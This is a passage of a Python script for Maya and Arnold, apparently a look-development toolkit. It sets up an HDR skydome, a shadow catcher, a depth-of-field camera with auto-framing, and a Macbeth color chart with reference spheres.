cmds.colorManagementPrefs(query = True,cmConfigFileEnabled = True)\n return config_check\n\n\ndef createLDV(*args):\n try:\n bounding_out = bounding()\n scale_factor = bounding_out[0]\n asset_center = bounding_out[1]\n asset = bounding_out[2]\n box = bounding_out[3]\n y_neg = bounding_out[4]\n except:\n box = 0\n scale_factor = 1\n asset_center = [0,90.175,0]\n y_neg = 0\n\n cmds.namespace(add='dk_Ldv')\n cmds.namespace(set=':dk_Ldv')\n\n distTool = cmds.distanceDimension(startPoint=[0, 0, 550], endPoint=[0, 0, 0])\n\n LDVgroup = cmds.group(name='lookdevkit_grp', empty=True)\n cmds.setAttr(LDVgroup + \".useOutlinerColor\", 1)\n cmds.setAttr(LDVgroup + \".outlinerColor\", 1, 1, 0)\n LDVctrlgroup = cmds.group(name='lookdev_ctrl_grp', empty=True)\n cmds.setAttr(LDVctrlgroup + \".useOutlinerColor\", 1)\n cmds.setAttr(LDVctrlgroup + \".outlinerColor\", 0, 1, 1)\n cmds.parent(LDVctrlgroup, LDVgroup)\n skydome = mutils.createLocator('aiSkyDomeLight', asLight=True)\n sky_name = cmds.rename(skydome[1], 'aiSkydome')\n skydome_shape = cmds.listRelatives(sky_name, shapes=True)\n\n # read camera visibility slider\n cmds.undoInfo(swf=False)\n skyVis = cmds.floatSliderGrp(\"sky_vis\", query=True, value=True)\n cmds.setAttr(skydome_shape[0] + \".camera\", skyVis)\n\n cmds.addAttr(skydome_shape[0], longName=\"rotOffset\", min=0,max=360, defaultValue=0, attributeType=\"double\")\n\n cmds.addAttr(skydome_shape[0], longName=\"start\", dataType=\"string\")\n start_val = cmds.optionMenu(\"chck_1001\", query=True, select=True)\n cmds.setAttr(skydome_shape[0] + \".start\", start_val, type=\"string\")\n\n cmds.addAttr(skydome_shape[0], longName=\"ldv_ver\", dataType=\"string\")\n cmds.setAttr(skydome_shape[0] + \".ldv_ver\", LDV_VER, type=\"string\")\n\n cmds.addAttr(skydome_shape[0], longName=\"scale_factor\", dataType=\"string\")\n cmds.setAttr(skydome_shape[0] + \".scale_factor\", scale_factor, type=\"string\")\n\n cmds.addAttr(skydome_shape[0], longName=\"asset_center\", dataType=\"string\")\n cmds.setAttr(skydome_shape[0] + \".asset_center\", asset_center, type=\"string\")\n\n cmds.addAttr(skydome_shape[0], longName=\"y_neg\", dataType=\"string\")\n cmds.setAttr(skydome_shape[0] + \".y_neg\", y_neg, type=\"string\")\n\n cmds.addAttr(skydome_shape[0], longName=\"turntable_fr\", dataType=\"string\")\n tr_fr = cmds.optionMenu('autott', value=True, query=True)\n cmds.setAttr(skydome_shape[0] + \".turntable_fr\", tr_fr, type=\"string\")\n\n cmds.addAttr(skydome_shape[0], longName=\"turntable_ass\", dataType=\"string\")\n turn_ass = \"\"\n cmds.setAttr(skydome_shape[0] + \".turntable_ass\", turn_ass, type=\"string\")\n\n # read rotation offset slider\n rotOff = cmds.floatSliderGrp(\"rotOff\", query=True, value=True)\n cmds.setAttr(sky_name + \".rotateY\", rotOff)\n cmds.setAttr(skydome_shape[0] + \".rotOffset\", rotOff)\n cmds.undoInfo(swf=True)\n\n hdrtx = hdr_list()[0]\n hdrskynum = len(hdrtx)\n cmds.addAttr(skydome_shape[0], longName=\"hdrsl\", min=1,max=hdrskynum, defaultValue=1, attributeType=\"long\")\n cmds.setAttr('dk_Ldv:aiSkydomeShape.aiSamples', 3)\n # read exposure slider\n value = cmds.floatSliderGrp('exp', query=True, value=True)\n cmds.setAttr('dk_Ldv:aiSkydomeShape.exposure', value)\n cmds.undoInfo(swf=True)\n\n if scale_factor <= 1:\n obj_factor = 1 \n if scale_factor > 1:\n obj_factor = scale_factor\n\n cmds.setAttr('dk_Ldv:aiSkydomeShape.skyRadius', 5000 * obj_factor)\n cmds.setAttr('dk_Ldv:aiSkydomeShape.resolution', 2048)\n cmds.setAttr('dk_Ldv:aiSkydome.overrideEnabled', 1)\n cmds.setAttr('dk_Ldv:aiSkydome.overrideDisplayType', 2)\n\n cmds.parent(sky_name, LDVctrlgroup)\n imageNode = cmds.shadingNode(\"file\", asTexture=True, n=\"hdrTextures\")\n hdr_num = cmds.intSliderGrp('hdrSw', query=True, value=True)\n file = hdr_list()[0]\n hdr_file = hdr_list()[2]\n\n if len(file) == 0:\n new_hdr = os.path.join(TEX_FOLDER, \"no_prev.tx\").replace(\"\\\\\", \"/\")\n else:\n new_hdr = os.path.join(HDR_FOLDER, hdr_file[hdr_num-1]).replace(\"\\\\\", \"/\")\n\n cmds.setAttr(\"dk_Ldv:hdrTextures.fileTextureName\", new_hdr, type=\"string\")\n cmds.setAttr(imageNode + '.aiAutoTx', 0)\n\n if check_cm_config() == True:\n cmds.setAttr(imageNode + '.colorSpace', 'Utility - Linear - sRGB', type='string')\n if check_cm_config() == False:\n cmds.setAttr(imageNode + '.colorSpace', 'scene-linear Rec 709/sRGB', type='string')\n\n cmds.connectAttr(imageNode + '.outColor', skydome_shape[0] + '.color', force=True)\n\n shCatchMain = cmds.polyPlane(n='shadowCatcher', w=4000 * obj_factor, h=4000 * obj_factor, sx=1, sy=1, cuv=2, ax=[0, 1, 0], ch=False)\n shCatch = shCatchMain[0]\n cmds.addAttr(shCatchMain, longName=\"shadowChckVis\", attributeType=\"bool\")\n shadowStr = cmds.shadingNode('aiShadowMatte', asShader=True)\n shadowMatte = cmds.rename(shadowStr, 'aiShadow')\n cmds.select(shCatch)\n cmds.hyperShade(assign=shadowMatte)\n cmds.parent(shCatch, LDVctrlgroup)\n cmds.setAttr(shCatch + \".overrideEnabled\", 1)\n cmds.setAttr(shCatch + \".overrideDisplayType\", 2)\n cmds.setAttr(shCatch + \".translateY\", y_neg)\n\n # read shadow matte checkbox\n shCatchBox = cmds.checkBox(\"shMatte\", query=True, value=True)\n cmds.setAttr(shCatch + \".shadowChckVis\", shCatchBox)\n cmds.setAttr(shCatch + \".visibility\", shCatchBox)\n\n # camera\n cam = cmds.camera(\n focalLength=50,\n centerOfInterest=5,\n lensSqueezeRatio=1,\n cameraScale=1,\n horizontalFilmAperture=1.41732,\n horizontalFilmOffset=0,\n verticalFilmAperture=0.94488,\n verticalFilmOffset=0,\n filmFit=\"Fill\",\n overscan=1.2,\n motionBlur=0,\n shutterAngle=144,\n nearClipPlane=1,\n farClipPlane=1000000,\n orthographic=0,\n orthographicWidth=30,\n panZoomEnabled=0,\n horizontalPan=0,\n verticalPan=0,\n zoom=1,\n displayGateMask=1,\n displayResolution=1,\n )\n\n cmds.lookThru(cam)\n cmds.setAttr(cam[0] + \".renderable\", 1)\n\n cmds.setAttr(cam[0] + \".displayGateMaskColor\", 0.1, 0.1, 0.1, type=\"double3\")\n cmds.setAttr(cam[0] + \".translateZ\", 550)\n cmds.setAttr(cam[0] + \".locatorScale\", 15)\n cmds.setAttr(cam[0] + \".displayCameraFrustum\", 1)\n\n # add additional attributes\n cmds.addAttr(cam[0], longName=\"DoF\", attributeType=\"bool\")\n\n senCount = cmds.optionMenu('sensor', numberOfItems=True, query=True)\n cmds.addAttr(cam[0], longName=\"SensorCam\", attributeType=\"long\", min=1, max=senCount)\n\n focCount = cmds.optionMenu('focal', numberOfItems=True, query=True)\n cmds.addAttr(cam[0], longName=\"FocalCam\", attributeType=\"long\", min=1, max=focCount)\n\n fstopCount = cmds.optionMenu('fstop', numberOfItems=True, query=True)\n cmds.addAttr(cam[0], longName=\"FstopCam\", attributeType=\"long\", min=1, max=fstopCount)\n\n # focus plane\n focus_text_import = os.path.join(TEX_FOLDER, \"ldv_fcs_font.fbx\").replace(\"\\\\\", \"/\")\n fcsPlane = cmds.curve(name=\"focusPlane_ctrl\", degree=1, point=[(-198, -111.5, 0), (-198, 111.5, 0), (198, 111.5, 0), (198, -111.5, 0), (-198, -111.5, 0)])\n fcsText = cmds.file( focus_text_import, i=True )\n fcsGrp = cmds.ls(\"dk_Ldv:focusPlane_txtShape\", long=True)\n\n # text position\n cmds.setAttr(fcsGrp[0] + \".scaleX\", 12)\n cmds.setAttr(fcsGrp[0] + \".scaleY\", 12)\n cmds.setAttr(fcsGrp[0] + \".scaleZ\", 12)\n cmds.setAttr(fcsGrp[0] + \".translateX\", 120)\n cmds.setAttr(fcsGrp[0] + \".translateY\", 112)\n cmds.makeIdentity(fcsGrp, translate=True, scale=True, apply=True)\n\n fcsSel = cmds.listRelatives(fcsGrp, allDescendents=True, fullPath=True)\n fcsSel2 = cmds.listRelatives(fcsSel, shapes=True, fullPath=True)\n fcsSelPlane = cmds.listRelatives(fcsPlane, allDescendents=True)\n fcsSelPlane2 = cmds.ls(fcsSelPlane, shapes=True, long=True)\n fcsSelMain = fcsSel2 + fcsSelPlane2\n\n for each in fcsSel2:\n cmds.setAttr(each + \".overrideEnabled\", 1)\n cmds.setAttr(each + \".overrideDisplayType\", 1)\n\n crvGrp = cmds.group(name=\"fcsCrv\", empty=True)\n crvGrpa = cmds.listRelatives(crvGrp, shapes=True)\n\n cmds.parent(fcsSelMain, crvGrp, shape=True, relative=True)\n cmds.delete(\"dk_Ldv:focusPlane_txtShape\")\n cmds.delete(fcsPlane)\n\n distSel = cmds.ls(distTool)\n distShape = distSel[0]\n camShape = cam[0]\n cmds.setAttr(distSel[0] + \".visibility\", 0)\n distLoc = cmds.listConnections(distSel, source=True)\n for each in distLoc:\n cmds.setAttr(each + \".visibility\", 0)\n\n cmds.parent(\"dk_Ldv:locator2\", crvGrp)\n cmds.parent(\"dk_Ldv:locator1\", cam[0])\n\n cmds.connectAttr(distShape + \".distance\", camShape + \".aiFocusDistance\", force=True)\n\n cmds.parent(distTool, \"dk_Ldv:lookdev_ctrl_grp\", shape=True)\n cmds.delete(\"dk_Ldv:distanceDimension1\")\n cmds.parent(crvGrp, cam[0])\n cmds.parent(cam[0], \"dk_Ldv:lookdev_ctrl_grp\")\n cmds.setAttr(cam[0] + \".translateY\", 200)\n cmds.setAttr(cam[0] + \".translateZ\", 565)\n cmds.setAttr(cam[0] + \".rotateX\", -11)\n\n # camera DoF checkbox read\n camBox = cmds.checkBox(\"camDoF\", query=True, value=True)\n cmds.setAttr(cam[0] + \".DoF\", camBox)\n cmds.setAttr(\"dk_Ldv:fcsCrv.visibility\", camBox)\n\n cmds.makeIdentity(crvGrp, translate=True, apply=True)\n cmds.setAttr(crvGrp + \".translateZ\", -25.563)\n cmds.makeIdentity(crvGrp, translate=True, apply=True)\n\n cmds.setAttr(crvGrp + \".translateX\", keyable=False, lock=True)\n cmds.setAttr(crvGrp + \".translateY\", keyable=False, lock=True)\n cmds.setAttr(crvGrp + \".rotateX\", keyable=False, lock=True)\n cmds.setAttr(crvGrp + \".rotateY\", keyable=False, lock=True)\n cmds.setAttr(crvGrp + \".rotateZ\", keyable=False, lock=True)\n cmds.setAttr(crvGrp + \".scaleX\", keyable=False)\n cmds.setAttr(crvGrp + \".scaleY\", keyable=False)\n cmds.setAttr(crvGrp + \".scaleZ\", keyable=False)\n\n # create global ctrl\n ctrl_num = 2050 * obj_factor\n ldvCtrl = cmds.curve(name=\"ldvGlobal_ctrl\", degree=1, point=[(-ctrl_num, 0, ctrl_num), (-ctrl_num, 0, -ctrl_num), (ctrl_num, 0, -ctrl_num), (ctrl_num, 0, ctrl_num), (-ctrl_num, 0, ctrl_num)])\n cmds.setAttr(ldvCtrl + \".translateY\", y_neg)\n\n cmds.parent(ldvCtrl, LDVgroup)\n cmds.scaleConstraint(ldvCtrl, LDVctrlgroup, maintainOffset=True, weight=1)\n\n focal()\n fstop()\n\n # remove and lock attributes\n cmds.setAttr(sky_name + \".translateX\", keyable=False)\n cmds.setAttr(sky_name + \".translateY\", keyable=False)\n cmds.setAttr(sky_name + \".translateZ\", keyable=False)\n cmds.setAttr(sky_name + \".rotateX\", keyable=False)\n cmds.setAttr(sky_name + \".rotateY\", keyable=False)\n cmds.setAttr(sky_name + \".rotateZ\", keyable=False)\n LDVgrplist = [LDVgroup, LDVctrlgroup, shCatch, ldvCtrl]\n for each in LDVgrplist:\n cmds.setAttr(each + \".translateX\", keyable=False, lock=True)\n cmds.setAttr(each + \".translateY\", keyable=False, lock=True)\n cmds.setAttr(each + \".translateZ\", keyable=False, lock=True)\n cmds.setAttr(each + \".rotateX\", keyable=False, lock=True)\n cmds.setAttr(each + \".rotateY\", keyable=False, lock=True)\n cmds.setAttr(each + \".rotateZ\", keyable=False, lock=True)\n\n #camera autoframe move\n auto_frame(cam, scale_factor, crvGrp, box, asset_center, y_neg)\n\n cmds.namespace(set=':')\n\n try:\n cmds.select(asset)\n turntableButton()\n except:\n pass\n\n cmds.select(clear=True)\n\n\ndef auto_frame(camera, scale, curves, bbox, asset_center,y_neg):\n cam = camera\n scale_factor = scale\n crv = curves\n crv_pos_bef = cmds.pointPosition(crv, world = True)\n\n world_loc = cmds.spaceLocator(name=\"world_loc\", position=[0, 0, 0])\n cam_loc = cmds.spaceLocator(name=\"cam_loc\", position=[0, 200, 565])\n cmds.parent(cam_loc, world_loc)\n cmds.setAttr(world_loc[0] + \".scaleX\", scale_factor)\n cmds.setAttr(world_loc[0] + \".scaleY\", scale_factor)\n cmds.setAttr(world_loc[0] + \".scaleZ\", scale_factor)\n cmds.setAttr(world_loc[0] + \".translateY\", y_neg)\n cam_pos = cmds.pointPosition(cam_loc, world = True)\n cmds.setAttr(cam[0] + \".translateX\", cam_pos[0])\n cmds.setAttr(cam[0] + \".translateY\", cam_pos[1])\n cmds.setAttr(cam[0] + \".translateZ\", cam_pos[2])\n try:\n cmds.setAttr(cam[0] + \".translateX\", cam_pos[0] + asset_center[0])\n except:\n pass\n cmds.delete(world_loc)\n\n crv_pos_aft = cmds.pointPosition(crv, world = True)\n\n try:\n if zmax >= 0:\n zmax = asset_center[2] + bbox * 0.5\n if zmax < 0:\n zmax = -asset_center[2] + bbox * 0.5\n except:\n zmax = 0\n\n try:\n cam_ass_dist = math.sqrt((cam_pos[2] - asset_center[2])**2 + (cam_pos[1] - asset_center[1])**2)\n focus_diff = 575.563 - cam_ass_dist\n except:\n focus_diff = 0\n\n if focus_diff <= 575.563:\n cmds.setAttr(crv + \".translateZ\", focus_diff + zmax)\n else:\n cmds.setAttr(crv + \".translateZ\", -focus_diff + zmax)\n\n try:\n cmds.viewLookAt(cam[1], pos=asset_center)\n except:\n pass\n\n\ndef removeLDV(*args):\n cmds.namespace(set=':')\n if cmds.namespace(exists='dk_Ldv') == False:\n cmds.warning(\"Nothing to remove\")\n return\n if cmds.namespace(exists='mac') == True:\n cmds.namespace(removeNamespace='mac', deleteNamespaceContent=True)\n if cmds.namespace(exists='dk_turn') == True:\n cmds.namespace(removeNamespace='dk_turn', deleteNamespaceContent=True)\n if cmds.namespace(exists='dk_bake') == True:\n cmds.namespace(removeNamespace='dk_bake', deleteNamespaceContent=True)\n if cmds.namespace(exists='dk_Ldv') == True:\n cmds.namespace(removeNamespace='dk_Ldv', deleteNamespaceContent=True)\n\n cmds.lookThru(\"persp\")\n\n\ndef Macbutton(*args):\n hdrs = hdr_list()[0]\n if len(hdrs) == 0:\n cmds.warning(\"Please run Refresh HDRs command\")\n return\n if cmds.namespace(exists=':mac') == True:\n cmds.warning(\"Macbeth chart and spheres are already loaded\")\n return\n if cmds.namespace(exists='dk_Ldv') == True:\n createMAC()\n cmds.parent(\"mac:macbeth_spheres_grp\", \"dk_Ldv:lookdev_ctrl_grp\")\n cmds.select(clear=True)\n if cmds.namespace(exists='dk_Ldv') == False:\n createMAC()\n\n\ndef createMAC(*args):\n cmds.namespace(add='mac')\n cmds.namespace(set=':mac')\n \n macbeth_data = [\n {\n \"row\": 1,\n \"column\": 1,\n \"name\": \"Patch_01_Dark_Skin\",\n \"base_color\": (0.13574, 0.08508, 0.05844),\n },\n {\n \"row\": 1,\n \"column\": 2,\n \"name\": \"Patch_02_Light_Skin\",\n \"base_color\": (0.44727, 0.29639, 0.22607),\n },\n {\n \"row\": 1,\n \"column\": 3,\n \"name\": \"Patch_03_Blue_Sky\",\n \"base_color\": (0.14404, 0.18530, 0.30762),\n },\n {\n \"row\": 1,\n \"column\": 4,\n \"name\": \"Patch_04_Foliage\",\n \"base_color\": (0.11804, 0.14587, 0.06372),\n },\n {\n \"row\": 1,\n \"column\": 5,\n \"name\": \"Patch_05_Blue_Flower\",\n \"base_color\": (0.23254, 0.21704, 0.39697),\n },\n {\n \"row\": 1,\n \"column\": 6,\n \"name\": \"Patch_06_Bluish_Green\",\n \"base_color\": (0.26196, 0.47803, 0.41626),\n },\n {\n \"row\": 2,\n \"column\": 1,\n \"name\": \"Patch_07_Orange\",\n \"base_color\": (0.52686, 0.23767, 0.06519),\n },\n {\n \"row\": 2,\n \"column\": 2,\n \"name\": \"Patch_08_Purplish_Blue\",\n \"base_color\": (0.08972, 0.10303, 0.34717),\n },\n {\n \"row\": 2,\n \"column\": 3,\n \"name\": \"Patch_09_Moderate_Red\",\n \"base_color\": (0.37646, 0.11469, 0.11987),\n },\n {\n \"row\": 2,\n \"column\": 4,\n \"name\": \"Patch_10_Purple\",\n \"base_color\": (0.08813, 0.04837, 0.12622),\n },\n {\n \"row\": 2,\n \"column\": 5,\n \"name\": \"Patch_11_Yellow_Green\",\n \"base_color\": (0.37329, 0.47803, 0.10223),\n },\n {\n \"row\": 2,\n \"column\": 6,\n \"name\": \"Patch_12_Orange_Yellow\",\n \"base_color\": (0.59424, 0.38135, 0.07593),\n },\n {\n \"row\": 3,\n \"column\": 1,\n \"name\": \"Patch_13_Blue\",\n \"base_color\": (0.04327, 0.04965, 0.25073),\n },\n {\n \"row\": 3,\n \"column\": 2,\n \"name\": \"Patch_14_Green\",\n \"base_color\": (0.12939, 0.27075, 0.08832),\n },\n {\n \"row\": 3,\n \"column\": 3,\n \"name\": \"Patch_15_Red\",\n \"base_color\": (0.28809, 0.06543, 0.04855),\n },\n {\n \"row\": 3,\n \"column\": 4,\n \"name\": \"Patch_16_Yellow\",\n \"base_color\": (0.70947, 0.58350, 0.08929),\n },\n {\n \"row\": 3,\n \"column\": 5,\n \"name\": \"Patch_17_Magenta\",\n \"base_color\": (0.36133, 0.11279, 0.26929),\n },\n {\n \"row\": 3,\n \"column\": 6,\n \"name\": \"Patch_18_Cyan\",\n \"base_color\": (0.07062, 0.21643, 0.35132),\n },\n {\n \"row\": 4,\n \"column\": 1,\n \"name\": \"Patch_19_White_9_5_005D\",\n \"base_color\": (0.87891, 0.88379, 0.84131),\n },\n {\n \"row\": 4,\n \"column\": 2,\n \"name\": \"Patch_20_Neutral_8_023D\",\n \"base_color\": (0.58691, 0.59131, 0.58545),\n },\n {\n \"row\": 4,\n \"column\": 3,\n \"name\": \"Patch_21_Neutral_6_5_044D\",\n \"base_color\": (0.36133, 0.36646, 0.36523),\n },\n {\n \"row\": 4,\n \"column\": 4,\n \"name\": \"Patch_22_Neutral_5_070D\",\n \"base_color\": (0.19031, 0.19080, 0.18994),\n },\n {\n \"row\": 4,\n \"column\": 5,\n \"name\": \"Patch_23_Neutral_3_5_1_05D\",\n \"base_color\": (0.08710, 0.08856, 0.08960),\n },\n {\n \"row\": 4,\n \"column\": 6,\n \"name\": \"Patch_24_Black_2_1_5D\",\n \"base_color\": (0.03146, 0.03149, 0.03220),\n },\n ]\n\n cmds.scriptEditorInfo(suppressWarnings=1,si=1,sr=1, ssw=1)\n MACgroup = cmds.group(name='macbeth_spheres_grp', empty=True)\n patchGroupFlat = cmds.group(name='macbethPatchesFlat_grp', empty=True)\n MACflat = cmds.group(name='macbethFlat_grp', empty=True)\n MACctrlGrp = cmds.group(name='macbeth_ctrl_grp', empty=True)\n cmds.parent(MACctrlGrp, MACgroup)\n cmds.parent(MACflat, MACctrlGrp)\n cmds.parent(patchGroupFlat, MACflat)\n MACshaded = cmds.group(name='macbethShaded_grp', empty=True)\n patchGroupShaded = cmds.group(name='macbethPatchesShaded_grp', empty=True)\n cmds.parent(MACshaded, MACctrlGrp)\n cmds.parent(patchGroupShaded, MACshaded)\n Sphgroup = cmds.group(name='spheres_grp', empty=True)\n cmds.parent(Sphgroup, MACctrlGrp)\n mtp = 4.5\n\n # checker body flat\n chckBodyFlat = cmds.polyCube(name=\"checkerBodyFlat\", width=28,\n height=19, depth=0.5, createUVs=4, ch=False)\n cmds.setAttr(chckBodyFlat[0] + \".translateZ\", -0.25)\n cmds.setAttr(chckBodyFlat[0] + \".translateY\", 12)\n cmds.makeIdentity(chckBodyFlat[0], translate=True, apply=True)\n cmds.move(0, 0, 0, chckBodyFlat[0] + \".scalePivot\",\n chckBodyFlat[0] + \".rotatePivot\", absolute=True)\n cmds.parent(chckBodyFlat[0], MACflat)\n # checker body shader Flat\n chckShdFlat = cmds.shadingNode('aiFlat', asShader=True, name=\"aiMacbethBodyFlat\")\n cmds.setAttr(chckShdFlat + \".color\", 0, 0, 0, type='double3')\n cmds.select(chckBodyFlat[0])\n cmds.hyperShade(assign=chckShdFlat)\n\n # checker body shaded\n chckBodyShaded = cmds.polyCube(name=\"checkerBodyShaded\", width=28,\n height=19, depth=0.5, createUVs=4, ch=False)\n cmds.setAttr(chckBodyShaded[0] + \".translateZ\", -0.25)\n cmds.setAttr(chckBodyShaded[0] + \".translateY\", 32)\n cmds.makeIdentity(chckBodyShaded[0], translate=True, apply=True)\n cmds.move(0, 0, 0, chckBodyShaded[0] + \".scalePivot\",\n chckBodyShaded[0] + \".rotatePivot\", absolute=True)\n cmds.parent(chckBodyShaded[0], MACshaded)\n # checker body shader shaded\n chckShdShaded = cmds.shadingNode('aiStandardSurface', asShader=True, name=\"aiMacbethBodyShaded\")\n cmds.setAttr(chckShdShaded + \".base\", 1)\n cmds.setAttr(chckShdShaded + \".baseColor\", 0, 0, 0, type='double3')\n cmds.setAttr(chckShdShaded + \".specular\", 0.0)\n cmds.setAttr(chckShdShaded + \".specularRoughness\", 0.5)\n cmds.select(chckBodyShaded[0])\n cmds.hyperShade(assign=chckShdShaded)\n\n # spheres\n # chrome\n chrome = cmds.polySphere(name=\"chromeSphere\", radius=6.6, createUVs=2, ch=False)\n cmds.setAttr(chrome[0] + \".translateX\", -7.5)\n cmds.setAttr(chrome[0] + \".translateY\", 49)\n cmds.setAttr(chrome[0] + '.aiSubdivType', 1)\n cmds.setAttr(chrome[0] + '.aiSubdivIterations', 3)\n cmds.makeIdentity(chrome[0], translate=True, apply=True)\n cmds.move(0, 0, 0, chrome[0] + \".scalePivot\", chrome[0] + \".rotatePivot\", absolute=True)\n cmds.parent(chrome[0], Sphgroup)\n chromeShd = cmds.shadingNode('aiStandardSurface', asShader=True, name=\"aiChrome\")\n cmds.setAttr(chromeShd + \".base\", 1)\n cmds.setAttr(chromeShd + \".baseColor\", 0.75, 0.75, 0.75, type='double3')\n cmds.setAttr(chromeShd + \".metalness\", 1)\n cmds.setAttr(chromeShd + \".specular\", 1)\n cmds.setAttr(chromeShd + \".specularRoughness\", 0)\n cmds.select(chrome[0])\n cmds.hyperShade(assign=chromeShd)\n # gray\n gray = cmds.polySphere(name=\"graySphere\", radius=6.6, createUVs=2, ch=False)\n cmds.setAttr(gray[0] + \".translateX\", 7.5)\n cmds.setAttr(gray[0] + \".translateY\", 49)\n cmds.setAttr(gray[0] + '.aiSubdivType', 1)\n cmds.setAttr(gray[0] + '.aiSubdivIterations', 3)\n cmds.makeIdentity(gray[0], translate=True, apply=True)\n cmds.move(0, 0, 0, gray[0] + \".scalePivot\", gray[0] + \".rotatePivot\", absolute=True)\n cmds.parent(gray[0], Sphgroup)\n grayShd = cmds.shadingNode('aiStandardSurface', asShader=True, name=\"aiGray\")\n cmds.setAttr(grayShd + \".base\", 1)\n cmds.setAttr(grayShd + \".baseColor\", 0.18, 0.18, 0.18, type='double3')\n cmds.setAttr(grayShd + \".specular\", 1)\n cmds.setAttr(grayShd + \".specularRoughness\", 0.65)\n cmds.select(gray[0])\n cmds.hyperShade(assign=grayShd)\n\n dispOver = [gray, chrome, chckBodyShaded, chckBodyFlat]\n for each in dispOver:\n doSel = cmds.ls(each)\n cmds.setAttr(each[0] + \".overrideEnabled\", 1)\n cmds.setAttr(each[0] + \".overrideDisplayType\", 2)\n\n # PATCHES FLAT\n \n for each in macbeth_data:\n # geo\n patch = cmds.polyCube(name=(each[\"name\"] + \"Flat\"), width=4.2,height=4.2, depth=0.3, createUVs=4, axis=[0, 1, 0], ch=False)\n patchDOsel = cmds.ls(patch)\n cmds.setAttr(patch[0] + \".translateX\", (each[\"column\"])*mtp)\n cmds.setAttr(patch[0] + \".translateY\", (each[\"row\"])*-mtp)\n xpos = cmds.getAttr(patch[0] + \".translateX\")\n ypos = cmds.getAttr(patch[0] + \".translateY\")\n cmds.setAttr(patch[0] + \".translateX\", xpos-15.75)\n cmds.setAttr(patch[0] + \".translateY\", ypos+23.25)\n cmds.makeIdentity(patch[0], translate=True, apply=True)\n cmds.move(0, 0, 0, patch[0] + \".scalePivot\", patch[0] + \".rotatePivot\", absolute=True)\n cmds.setAttr(patch[0] + \".receiveShadows\", 0)\n cmds.setAttr(patch[0] + \".motionBlur\", 0)\n cmds.setAttr(patch[0] + \".castsShadows\", 0)\n cmds.setAttr(patch[0] + \".visibleInRefractions\", 0)\n cmds.setAttr(patch[0] + \".visibleInReflections\", 0)\n cmds.setAttr(patch[0] + \".aiVisibleInDiffuseReflection\", 0)\n cmds.setAttr(patch[0] + \".aiVisibleInSpecularReflection\", 0)\n cmds.setAttr(patch[0] + \".aiVisibleInDiffuseTransmission\", 0)\n cmds.setAttr(patch[0] + \".aiVisibleInSpecularTransmission\", 0)\n cmds.setAttr(patch[0] + \".aiVisibleInVolume\", 0)\n cmds.setAttr(patch[0] + \".aiSelfShadows\", 0)\n cmds.setAttr(patchDOsel[0] + \".overrideEnabled\", 1)\n cmds.setAttr(patchDOsel[0] + \".overrideDisplayType\", 2)\n cmds.setAttr(patch[0] + \".translateX\", keyable=False, lock=True)\n cmds.setAttr(patch[0] + \".translateY\", keyable=False, lock=True)\n cmds.setAttr(patch[0] + \".translateZ\", keyable=False, lock=True)\n cmds.setAttr(patch[0] + \".rotateX\", keyable=False, lock=True)\n cmds.setAttr(patch[0] + \".rotateY\", keyable=False, lock=True)\n cmds.setAttr(patch[0] + \".rotateZ\", keyable=False, lock=True)\n cmds.parent(patch[0], patchGroupFlat)\n\n # shader\n mat_name = each[\"name\"] + \"Flat\"\n sg_name = mat_name + \"SG\"\n patchBscShd = cmds.shadingNode('aiFlat', asShader=True, name=mat_name)\n SG = cmds.sets(name= sg_name, empty=True, renderable=True, noSurfaceShader=True)\n cmds.connectAttr(patchBscShd + \".outColor\", SG + \".surfaceShader\")\n cmds.setAttr(patchBscShd + \".color\", each[\"base_color\"][0],each[\"base_color\"][1], each[\"base_color\"][2], type='double3')\n cmds.select(patch[0])\n cmds.hyperShade(assign=patchBscShd)\n\n # PATCHES SHADED\n for each in macbeth_data:\n # geo\n patchShaded = cmds.polyCube(name=(each[\"name\"] + \"Shaded\"), width=4.2, height=4.2, depth=0.3, createUVs=4, axis=[0, 1, 0], ch=False)\n patchShadedDOsel = cmds.ls(patchShaded)\n cmds.setAttr(patchShaded[0] + \".translateX\", (each[\"column\"])*mtp)\n cmds.setAttr(patchShaded[0] + \".translateY\", (each[\"row\"])*-mtp)\n xpos = cmds.getAttr(patchShaded[0] + \".translateX\")\n ypos = cmds.getAttr(patchShaded[0] + \".translateY\")\n cmds.setAttr(patchShaded[0] + \".translateX\", xpos-15.75)\n cmds.setAttr(patchShaded[0] + \".translateY\", ypos+43.25)\n cmds.makeIdentity(patchShaded[0], translate=True, apply=True)\n cmds.move(0, 0, 0, patchShaded[0] + \".scalePivot\",patchShaded[0] + \".rotatePivot\", absolute=True)\n cmds.setAttr(patchShaded[0] + \".receiveShadows\", 0)\n cmds.setAttr(patchShaded[0] + \".motionBlur\", 0)\n cmds.setAttr(patchShaded[0] + \".castsShadows\", 0)\n cmds.setAttr(patchShaded[0] + \".visibleInRefractions\", 0)\n cmds.setAttr(patchShaded[0] + \".visibleInReflections\", 0)\n cmds.setAttr(patchShaded[0] + \".aiVisibleInDiffuseReflection\", 0)\n cmds.setAttr(patchShaded[0] + \".aiVisibleInSpecularReflection\", 0)\n cmds.setAttr(patchShaded[0] + \".aiVisibleInDiffuseTransmission\", 0)\n cmds.setAttr(patchShaded[0] + \".aiVisibleInSpecularTransmission\", 0)\n cmds.setAttr(patchShaded[0] + \".aiVisibleInVolume\", 0)\n cmds.setAttr(patchShaded[0] + \".aiSelfShadows\", 0)\n cmds.setAttr(patchShadedDOsel[0] + \".overrideEnabled\", 1)\n cmds.setAttr(patchShadedDOsel[0] + \".overrideDisplayType\", 2)\n cmds.setAttr(patchShaded[0] + \".translateX\", keyable=False, lock=True)\n cmds.setAttr(patchShaded[0] + \".translateY\", keyable=False, lock=True)\n cmds.setAttr(patchShaded[0] + \".translateZ\", keyable=False, lock=True)\n cmds.setAttr(patchShaded[0] + \".rotateX\", keyable=False, lock=True)\n cmds.setAttr(patchShaded[0] + \".rotateY\", keyable=False, lock=True)\n cmds.setAttr(patchShaded[0] + \".rotateZ\", keyable=False, lock=True)\n cmds.parent(patchShaded[0], patchGroupShaded)\n\n # shader\n mat_name = each[\"name\"] + \"Shaded\"\n patchBscShdShaded = cmds.shadingNode('aiStandardSurface', asShader=True, name=mat_name)\n cmds.setAttr(patchBscShdShaded + \".base\", 1)\n cmds.setAttr(patchBscShdShaded + \".baseColor\",each[\"base_color\"][0], each[\"base_color\"][1], each[\"base_color\"][2], type='double3')\n cmds.setAttr(patchBscShdShaded + \".specular\", 0)\n cmds.setAttr(patchBscShdShaded + \".specularRoughness\", 0.7)\n sg_name = mat_name + \"SG\"\n SG = cmds.sets(name= sg_name, empty=True, renderable=True, noSurfaceShader=True)\n cmds.connectAttr(patchBscShdShaded + \".outColor\", SG + 